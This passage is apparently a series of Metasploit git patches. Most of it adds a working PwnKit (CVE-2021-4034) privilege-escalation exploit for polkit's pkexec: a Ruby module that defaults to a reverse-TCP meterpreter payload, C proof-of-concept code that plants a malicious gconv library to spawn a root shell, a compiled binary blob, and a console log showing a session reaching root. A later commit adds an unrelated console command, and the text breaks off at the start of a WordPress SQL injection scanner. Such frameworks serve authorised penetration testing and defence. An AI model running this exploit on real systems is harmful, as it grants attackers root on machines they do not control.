From 4c0340b26c286ce1ced92e1c559da3b30987b863 Mon Sep 17 00:00:00 2001 From: Dhiraj Mishra Date: Wed, 26 Jan 2022 23:05:36 +0400 Subject: [PATCH 001/110] cve_2021_4034_pwnkit_lpe_pkexec --- .../local/cve_2021_4034_pwnkit_lpe_pkexec.rb | 87 +++++++++++++++++++ 1 file changed, 87 insertions(+) create mode 100644 modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb diff --git a/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb b/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb new file mode 100644 index 0000000000..673d313ff7 --- /dev/null +++ b/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb @@ -0,0 +1,87 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Linux::Priv + include Msf::Post::Linux::Kernel + include Msf::Post::Linux::System + include Msf::Post::Linux::Compile + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Local Privilege Escalation in polkits pkexec', + 'Description' => %q{ + A local privilege escalation vulnerability was found on polkit's pkexec utility. + The pkexec application is a setuid tool designed to allow unprivileged users to run + commands as privileged users according predefined policies. + The current version of pkexec doesn't handle the calling parameters count correctly and ends + trying to execute environment variables as commands. An attacker can leverage this by crafting + environment variables in such a way it'll induce pkexec to execute arbitrary code. When successfully + executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Qualys Security', # Discovery and exploit + 'Dhiraj Mishra', # Metasploit module + 'Andris Raugulis', # C exploit + ], + 'References' => [ + ['CVE', '2021-4034'], + ['URL', 'https://github.com/arthepsy/CVE-2021-4034'], + ['URL', 'https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034'], + ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X64 ], + 'Targets' => [[ 'Auto', {} ]], + 'DefaultOptions' => + { + 'Payload' => 'linux/x64/meterpreter/reverse_tcp', + 'PrependFork' => true, + }, + 'Notes' => + { + 'Reliability' => [ REPEATABLE_SESSION ], + 'Stability' => [ CRASH_SAFE ] + }, + 'DisclosureDate' => '2022-01-25')) + register_advanced_options [ + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + ] + end + + def exploit + if is_root? && !datastore['ForceExploit'] + fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' + end + + unless writable? datastore['WritableDir'] + fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" + end + + payload_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" + upload_and_chmodx(payload_file, generate_payload_exe) + register_file_for_cleanup(payload_file) + + exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" + if live_compile? + vprint_status 'Live compiling exploit on system...' + upload_and_compile exploit_file, exploit_data('CVE-2021-4034', 'cve_2021_4034.c') + else + vprint_status 'Dropping pre-compiled exploit on system...' + upload_and_chmodx exploit_file, exploit_data('CVE-2021-4034', 'cve_2021_4034') + end + register_file_for_cleanup(exploit_file) + + print_status("Executing exploit '#{exploit_file}'") + result = cmd_exec("echo #{payload_file} | #{exploit_file}") + print_status("Exploit result:\n#{result}") + end +end From bfb9882fd4891b055d4d34ca4200e2d88bf71045 Mon Sep 17 00:00:00 2001 From: Dhiraj Mishra Date: Wed, 26 Jan 2022 23:20:55 +0400 Subject: [PATCH 002/110] cve_2021_4034.c --- data/exploits/CVE-2021-4034/cve_2021_4034.c | 31 +++++++++++++++++++++ 1 file changed, 31 insertions(+) create mode 100644 data/exploits/CVE-2021-4034/cve_2021_4034.c diff --git a/data/exploits/CVE-2021-4034/cve_2021_4034.c b/data/exploits/CVE-2021-4034/cve_2021_4034.c new file mode 100644 index 0000000000..3fb5202af7 --- /dev/null +++ b/data/exploits/CVE-2021-4034/cve_2021_4034.c @@ -0,0 +1,31 @@ +/* + * Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) by Andris Raugulis + * Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034 + */ +#include +#include +#include + +char *shell = + "#include \n" + "#include \n" + "#include \n\n" + "void gconv() {}\n" + "void gconv_init() {\n" + " setuid(0); setgid(0);\n" + " seteuid(0); setegid(0);\n" + " system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n" + " exit(0);\n" + "}"; + +int main(int argc, char *argv[]) { + FILE *fp; + system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'"); + system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules"); + fp = fopen("pwnkit/pwnkit.c", "w"); + fprintf(fp, "%s", shell); + fclose(fp); + system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC"); + char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL }; + execve("/usr/bin/pkexec", (char*[]){NULL}, env); +} From 6b1c4f4efd6680d4921f39241eb54f4bd0a630cf Mon Sep 17 00:00:00 2001 From: Dhiraj Mishra Date: Wed, 26 Jan 2022 23:21:16 +0400 Subject: [PATCH 003/110] Add files via upload --- data/exploits/CVE-2021-4034/cve_2021_4034 | Bin 0 -> 16968 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 data/exploits/CVE-2021-4034/cve_2021_4034 diff --git a/data/exploits/CVE-2021-4034/cve_2021_4034 b/data/exploits/CVE-2021-4034/cve_2021_4034 new file mode 100644 index 0000000000000000000000000000000000000000..4e2695b91fc11f623bac161de8e122cdb4b247c2 GIT binary patch literal 16968 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 RrRN literal 0 HcmV?d00001 From dbca5eeb07341d13a1c995aea6be05f8add4b756 Mon Sep 17 00:00:00 2001 From: Dhiraj Mishra Date: Thu, 27 Jan 2022 12:32:33 +0400 Subject: [PATCH 004/110] Some linting --- .../local/cve_2021_4034_pwnkit_lpe_pkexec.rb | 74 ++++++++++--------- 1 file changed, 39 insertions(+), 35 deletions(-) diff --git a/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb b/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb index 673d313ff7..c9d5912b44 100644 --- a/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb +++ b/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb @@ -15,46 +15,50 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Exploit::FileDropper def initialize(info = {}) - super(update_info(info, - 'Name' => 'Local Privilege Escalation in polkits pkexec', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Local Privilege Escalation in polkits pkexec', + 'Description' => %q{ A local privilege escalation vulnerability was found on polkit's pkexec utility. - The pkexec application is a setuid tool designed to allow unprivileged users to run - commands as privileged users according predefined policies. - The current version of pkexec doesn't handle the calling parameters count correctly and ends - trying to execute environment variables as commands. An attacker can leverage this by crafting - environment variables in such a way it'll induce pkexec to execute arbitrary code. When successfully - executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'Qualys Security', # Discovery and exploit - 'Dhiraj Mishra', # Metasploit module - 'Andris Raugulis', # C exploit - ], - 'References' => [ - ['CVE', '2021-4034'], - ['URL', 'https://github.com/arthepsy/CVE-2021-4034'], - ['URL', 'https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034'], - ], - 'SessionTypes' => [ 'shell', 'meterpreter' ], - 'Platform' => [ 'linux' ], - 'Arch' => [ ARCH_X64 ], - 'Targets' => [[ 'Auto', {} ]], - 'DefaultOptions' => - { - 'Payload' => 'linux/x64/meterpreter/reverse_tcp', - 'PrependFork' => true, + The pkexec application is a setuid tool designed to allow unprivileged the + current version of pkexec doesn't handle the calling parameters count correctly + and ends trying to execute environment variables as commands. + + An attacker can leverage this by crafting environment variables + in such a way it'll induce pkexec to execute arbitrary code. When successfully + executed the attack can cause a local privilege escalation given unprivileged + users administrative rights on the target machine. }, - 'Notes' => - { + 'License' => MSF_LICENSE, + 'Author' => [ + 'Qualys Security', # Original vulnerability discovery + 'Andris Raugulis', # Exploit writeup and PoC + 'Dhiraj Mishra' # Metasploit Module + ], + 'DisclosureDate' => '2022-25-01', + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'References' => [ + [ 'CVE', '2021-4034' ], + [ 'URL', 'https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt' ], + [ 'URL', 'https://github.com/arthepsy/CVE-2021-4034' ] # PoC Reference + ], + 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], - 'Stability' => [ CRASH_SAFE ] + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ ] }, - 'DisclosureDate' => '2022-01-25')) - register_advanced_options [ + 'DefaultTarget' => 0 + ) + ) + + register_advanced_options([ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) - ] + ]) end def exploit From 4828bc58e6cbb05f924d631f1644f729cda9f0b9 Mon Sep 17 00:00:00 2001 From: Dhiraj Mishra Date: Thu, 27 Jan 2022 12:43:41 +0400 Subject: [PATCH 005/110] Spaces at EOL and Date --- modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb b/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb index c9d5912b44..557f1c36d1 100644 --- a/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb +++ b/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb @@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Local 'Andris Raugulis', # Exploit writeup and PoC 'Dhiraj Mishra' # Metasploit Module ], - 'DisclosureDate' => '2022-25-01', + 'DisclosureDate' => '2022-01-25', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], From ad190fe80f24395022d56c43a89ca65e50571764 Mon Sep 17 00:00:00 2001 From: Dhiraj Mishra Date: Thu, 27 Jan 2022 12:51:36 +0400 Subject: [PATCH 006/110] Spaces at EOL --- modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb b/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb index 557f1c36d1..1f857b864f 100644 --- a/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb +++ b/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb @@ -55,7 +55,6 @@ class MetasploitModule < Msf::Exploit::Local 'DefaultTarget' => 0 ) ) - register_advanced_options([ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ]) From 97d83f3fd5a6bdc5d767d97884904fc7a2c69859 Mon Sep 17 00:00:00 2001 From: Dhiraj Mishra Date: Thu, 27 Jan 2022 18:32:46 +0400 Subject: [PATCH 007/110] cve_2021_4034_pwnkit_lpe_pkexec.md --- .../local/cve_2021_4034_pwnkit_lpe_pkexec.md | 82 +++++++++++++++++++ 1 file changed, 82 insertions(+) create mode 100644 documentation/modules/exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.md diff --git a/documentation/modules/exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.md b/documentation/modules/exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.md new file mode 100644 index 0000000000..0824f8c24e --- /dev/null +++ b/documentation/modules/exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.md @@ -0,0 +1,82 @@ +## Summary + +A local privilege escalation vulnerability was found on polkit's pkexec utility. The pkexec application is a setuid tool designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn't handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it'll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine. + +## Verification + +* Start `msfconsole` +* Get a non-root shell/meterpreter +* use `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec` +* set SESSION `` +* set LHOST `` +* `run` + +## Scenarios + +``` +msf6 exploit(multi/script/web_delivery) > +[*] 172.16.30.21 web_delivery - Delivering Payload (497 bytes) +[*] Sending stage (39800 bytes) to 172.16.30.21 +[*] Meterpreter session 1 opened (172.19.20.29:4444 -> 172.16.30.21:57038 ) at 2022-01-26 23:17:04 +0400 + +msf6 exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: zero +meterpreter > background +[*] Backgrounding session 1... +msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec +[*] Using configured payload linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > options + +Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + COMPILE Auto yes Compile on target (Accepted: Auto, True, False) + SESSION yes The session to run this module on + + +Payload options (linux/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Auto + + +msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set SESSION 1 +SESSION => 1 +msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LPORT 5555 +LPORT => 5555 +msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LHOST 172.19.20.29 +LHOST => 172.19.20.29 +msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run + +[!] SESSION may not be compatible with this module: +[!] * incompatible session architecture: python +[*] Started reverse TCP handler on 172.19.20.29:5555 +[*] Writing '/tmp/.qwxijs' (282 bytes) ... +[*] Executing exploit '/tmp/.ciobixe' +[*] Sending stage (3012548 bytes) to 172.16.30.21 +[+] Deleted /tmp/.qwxijs +[+] Deleted /tmp/.ciobixe +[*] Exploit result: + +[*] Meterpreter session 2 opened (172.19.20.29:5555 -> 172.16.30.21:53512 ) at 2022-01-26 23:17:36 +0400 + +meterpreter > getuid +Server username: root +meterpreter > background +[*] Backgrounding session 2... +``` + +**Reference:** https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt From 2df0f8bf550df1d2f4c95a3ee950047dc13e7874 Mon Sep 17 00:00:00 2001 From: Dhiraj Mishra Date: Wed, 2 Feb 2022 20:46:11 +0400 Subject: [PATCH 008/110] delete compiled binary --- data/exploits/CVE-2021-4034/cve_2021_4034 | Bin 16968 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 data/exploits/CVE-2021-4034/cve_2021_4034 diff --git a/data/exploits/CVE-2021-4034/cve_2021_4034 b/data/exploits/CVE-2021-4034/cve_2021_4034 deleted file mode 100644 index 4e2695b91fc11f623bac161de8e122cdb4b247c2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 16968 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 RrRN From 30b8e2196bef9104196cbf0e1739bb96250f231a Mon Sep 17 00:00:00 2001 From: Dhiraj Mishra Date: Wed, 2 Feb 2022 21:30:13 +0400 Subject: [PATCH 009/110] payload_file spaces Thank you bcoles Co-authored-by: bcoles --- modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb b/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb index 1f857b864f..eeb36d1046 100644 --- a/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb +++ b/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb @@ -84,7 +84,7 @@ class MetasploitModule < Msf::Exploit::Local register_file_for_cleanup(exploit_file) print_status("Executing exploit '#{exploit_file}'") - result = cmd_exec("echo #{payload_file} | #{exploit_file}") + result = cmd_exec("echo '#{payload_file}' | #{exploit_file}") print_status("Exploit result:\n#{result}") end end From 5647e1a94fe1c170bc21f35144c733b421815d8d Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Wed, 2 Feb 2022 22:26:41 +0000 Subject: [PATCH 010/110] Add service manager commands to msfconsle --- .../console/command_dispatcher/developer.rb | 64 ++++++++++++++++++- 1 file changed, 63 insertions(+), 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/developer.rb b/lib/msf/ui/console/command_dispatcher/developer.rb index 8aaafdfc1c..8134aff351 100644 --- a/lib/msf/ui/console/command_dispatcher/developer.rb +++ b/lib/msf/ui/console/command_dispatcher/developer.rb @@ -9,6 +9,10 @@ class Msf::Ui::Console::CommandDispatcher::Developer '-e' => [true, 'Expression to evaluate.'] ) + @@servicemanager_opts = Rex::Parser::Arguments.new( + ['-l', '--list'] => [false, 'View the currently running services' ] + ) + def initialize(driver) super end @@ -24,7 +28,8 @@ class Msf::Ui::Console::CommandDispatcher::Developer 'edit' => 'Edit the current module or a file with the preferred editor', 'reload_lib' => 'Reload Ruby library files from specified paths', 'log' => 'Display framework.log paged to the end if possible', - 'time' => 'Time how long it takes to run a particular command' + 'time' => 'Time how long it takes to run a particular command', + 'servicemanager' => 'Manage running framework services', } end @@ -312,6 +317,63 @@ class Msf::Ui::Console::CommandDispatcher::Developer end end + # + # Interact with framework's service manager + # + def cmd_servicemanager(*args) + if args.include?('-h') || args.include?('--help') + cmd_servicemanager_help + return false + end + + opts = {} + @@servicemanager_opts.parse(args) do |opt, idx, val| + case opt + when '-l', '--list' + opts[:list] = true + end + end + + if opts.empty? + opts[:list] = true + end + + if opts[:list] + table = Rex::Text::Table.new( + 'Header' => 'Services', + 'Indent' => 1, + 'Columns' => ['Id', 'Name', 'References'] + ) + Rex::ServiceManager.instance.each.with_index do |(name, instance), id| + # TODO: Update rex-core to support querying the reference count + table << [id, name, instance.instance_variable_get(:@_references)] + end + + if table.rows.empty? + print_status("No framework services are currently running.") + else + print_line(table.to_s) + end + end + end + + # + # Tab completion for the servicemanager command + # + def cmd_servicemanager_tabs(_str, words) + return [] if words.length > 1 + + @@servicemanager_opts.option_keys + end + + def cmd_servicemanager_help + print_line 'Usage: servicemanager' + print_line + print_line 'Manage running framework services' + print @@servicemanager_opts.usage + print_line + end + # # Time how long in seconds a command takes to execute # From 11c67ce7d7b0568d9869a4a2510bc5462b743273 Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 30 Jan 2022 17:48:11 -0500 Subject: [PATCH 011/110] wp_modern_events_calendar_sqli --- .../http/wp_modern_events_calendar_sqli.md | 62 +++++++++++ .../http/wp_modern_events_calendar_sqli.rb | 103 ++++++++++++++++++ 2 files changed, 165 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/http/wp_modern_events_calendar_sqli.md create mode 100644 modules/auxiliary/scanner/http/wp_modern_events_calendar_sqli.rb diff --git a/documentation/modules/auxiliary/scanner/http/wp_modern_events_calendar_sqli.md b/documentation/modules/auxiliary/scanner/http/wp_modern_events_calendar_sqli.md new file mode 100644 index 0000000000..69c0b7f199 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/wp_modern_events_calendar_sqli.md @@ -0,0 +1,62 @@ +## Vulnerable 